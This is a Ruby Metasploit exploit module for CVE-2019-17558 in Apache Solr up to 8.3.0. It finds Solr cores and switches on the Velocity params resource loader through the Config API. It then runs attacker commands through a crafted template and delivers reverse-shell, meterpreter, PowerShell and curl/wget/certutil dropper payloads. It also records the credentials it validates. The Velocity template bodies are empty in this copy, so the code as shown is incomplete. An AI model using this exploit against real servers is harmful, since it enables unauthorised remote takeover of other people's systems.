require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Solr Remote Code Execution via Velocity Template',
'Description'=> %q(
This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
Velocity template. Currently, this module only supports Solr basic authentication.
From the Tenable advisory:
An attacker could target a vulnerable Apache Solr instance by first identifying a list
of Solr core names. Once the core names have been identified, an attacker can send a specially crafted
HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response
Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity
template parameter in a specially crafted Solr request, leading to RCE.
),
'License'=> MSF_LICENSE,
'Author' =>
[
's00py',
'jas502n',
'AleWong',
'Imran E. Dawoodjee <imran[at]threathounds.com>'
],
'References' =>
[
[ 'EDB', '47572' ],
[ 'CVE', '2019-17558' ],
[ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],
[ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],
[ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],
[ 'URL', 'https://github.com/jas502n/solr_rce'],
[ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],
],
'Platform' => ['linux', 'unix', 'win'],
'Targets'=>
[
[
'Unix (in-memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Linux (dropper)',
{
'Platform'=> 'linux',
'Arch'=> [ARCH_X86, ARCH_X64],
'Type'=> :linux_dropper,
'DefaultOptions'=> { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'CmdStagerFlavor' => %w[curl wget]
}
],
[
'x86/x64 Windows PowerShell',
{
'Platform'=> 'win',
'Arch'=> [ARCH_X86, ARCH_X64],
'Type'=> :windows_psh,
'DefaultOptions'=> { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
}
],
[
'x86/x64 Windows CmdStager',
{
'Platform'=> 'win',
'Arch'=> [ARCH_X86, ARCH_X64],
'Type'=> :windows_cmdstager,
'DefaultOptions'=> { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },
'CmdStagerFlavor' => %w[vbs certutil]
}
],
[
'Windows Exec',
{
'Platform'=> 'win',
'Arch'=> ARCH_CMD,
'Type'=> :windows_exec,
'DefaultOptions'=> { 'PAYLOAD' => 'cmd/windows/generic' }
}
],
],
'DisclosureDate' => "2019-10-29",
'DefaultTarget'=> 0,
'Privileged' => false
)
)
register_options(
[
Opt::RPORT(8983),
OptString.new('USERNAME', [false, 'Solr username', 'solr']),
OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),
OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])
]
)
end
@vuln_core = ""
@target_platform = ""
@auth_string = ""
def check_auth
auth_check = solr_get('uri' => normalize_uri(target_uri.path))
unless auth_check
print_bad("Connection failed!")
return nil
end
unless auth_check.code == 200
if datastore['USERNAME'] == "" && datastore['PASSWORD'] == ""
print_bad("Credentials not provided, skipping credentialed check...")
return nil
end
auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string)
unless attempt_auth
print_bad("Connection failed!")
return nil
end
unless attempt_auth.code == 200
print_bad("Invalid credentials!")
return nil
end
store_valid_credential(
user: datastore['USERNAME'],
private: datastore['PASSWORD'],
private_type: :password,
proof: attempt_auth.to_s
)
@auth_string = auth_string
end
""
end
def check
auth_res = check_auth
unless auth_res
return CheckCode::Unknown("Authentication failed!")
end
ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string)
unless ver
return CheckCode::Unknown("Connection failed!")
end
ver_json = ver.get_json_document
solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version'])
print_status("Found Apache Solr #{solr_version}")
@target_platform = ver_json['system']['name']
target_arch = ver_json['system']['arch']
target_osver = ver_json['system']['version']
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
if ver_json['system']['uname']
vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")
end
unless solr_version <= Gem::Version.new('8.3.0')
return CheckCode::Safe("Running version of Solr is not vulnerable!")
end
cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string)
unless cores
return CheckCode::Unknown("Could not enumerate cores!")
end
cores_json = cores.get_json_document
cores_list = Array.new
cores_json['status'].keys.each do |core_name|
cores_list.push(core_name)
end
if cores_list.empty?
return CheckCode::Safe("No cores found, nothing to exploit!")
end
print_status("Found core(s): #{cores_list.join(', ')}")
possibly_vulnerable_cores = {}
cores_list.each do |core|
core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string)
unless core_config
print_error("Could not retrieve configuration for core #{core}!")
next
end
core_config_json = core_config.get_json_document
if core_config_json['config']['queryResponseWriter'].keys.include?("velocity")
vprint_good("Found Velocity Response Writer in use by core #{core}")
if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true"
vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.")
possibly_vulnerable_cores.store(core, true)
else
print_warning("params.resource.loader.enabled for core #{core} is set to false.")
possibly_vulnerable_cores.store(core, false)
end
else
vprint_error("Velocity Response Writer not found in core #{core}")
next
end
end
if possibly_vulnerable_cores.empty?
CheckCode::Safe("No cores are vulnerable!")
else
possibly_vulnerable_cores.each do |core|
if core[1] == true
@vuln_core = core
break
end
end
if @vuln_core.to_s == ""
@vuln_core = possibly_vulnerable_cores.first
end
CheckCode::Vulnerable
end
end
def exploit
unless [CheckCode::Vulnerable].include? check
fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!"
end
print_status("Targeting core '#{@vuln_core[0]}'")
if @vuln_core[1] != true
enable_params_resource_loader = {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}.to_json
opts_post = {
'method'=> 'POST',
'connection'=> 'Keep-Alive',
'ctype' => 'application/json;charset=utf-8',
'encode_params' => false,
'uri' => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'),
'data'=> enable_params_resource_loader
}
unless @auth_string == ""
opts_post.store('authorization', @auth_string)
end
print_status("params.resource.loader.enabled is false, setting it to true...")
update_config = send_request_cgi(opts_post)
unless update_config
fail_with Failure::Unreachable, "Connection failed!"
end
unless update_config.code == 200
fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!"
end
print_good("params.resource.loader.enabled is now set to true!")
end
if @target_platform.include? "Windows"
unless target.name.include? "Windows"
fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!"
end
case target['Type']
when :windows_psh
winenv_path = execute_command("C:\\Windows\\System32\\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)
unless winenv_path
fail_with Failure::Unreachable, "Connection failed!"
end
unless winenv_path.code == 200
fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!"
end
if /powershell/i =~ winenv_path.body.to_s
paths = winenv_path.body.split('=')[1]
paths.split(';').each do |path_val|
unless /powershell/i =~ path_val
next
end
print_good("Found Powershell at #{path_val}")
psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
psh_cmd.insert(0, path_val)
execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
break
end
else
fail_with Failure::BadConfig, "PowerShell not found!"
end
when :windows_cmdstager
print_status("Sending CmdStager payload...")
execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
when :windows_exec
cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}"
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
end
end
if @target_platform.include? "Linux"
if target.name.include? "Windows"
fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!"
end
case target['Type']
when :linux_dropper
execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])
when :unix_memory
cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
end
end
end
def execute_cmdstager_begin(_opts)
if @target_platform.include? "Windows"
@cmd_list.each do |command|
command.insert(0, "C:\\Windows\\System32\\cmd.exe /c ")
end
else
@cmd_list.each do |command|
command.insert(0, "/bin/bash -c $@|/bin/bash . echo ")
end
end
end
def execute_command(cmd, opts = {})
template = <<~VELOCITY
VELOCITY
if target.name.include?("Unix")
template += <<~VELOCITY
VELOCITY
else
template += <<~VELOCITY
VELOCITY
end
template += <<~VELOCITY
$ex.waitFor()
VELOCITY
if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory
template += <<~VELOCITY
VELOCITY
end
raw_result = solr_get(
'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
'auth' => opts['auth_string'],
'vars_get' =>{
'q' => '1',
'wt'=> 'velocity',
'v.template'=> 'custom',
'v.template.custom' => template
}
)
if opts['winenv_check']
return raw_result
end
unless raw_result.nil?
unless raw_result.code == 200
fail_with Failure::PayloadFailed, "Payload failed to execute!"
end
result_inter = raw_result.body.to_s.sub("0\n", ":::").split(":::").last
unless result_inter.nil?
final_result = result_inter.split("\n").first.strip
print_good(final_result)
end
end
end
def solr_get(opts = {})
send_request_cgi_opts = {
'method'=> 'GET',
'connection'=> 'Keep-Alive',
'uri' => opts['uri']
}
if opts['auth'] != ""
send_request_cgi_opts.store('authorization', opts['auth'])
end
if opts['vars_get']
send_request_cgi_opts.store('vars_get', opts['vars_get'])
end
send_request_cgi(send_request_cgi_opts)
end
end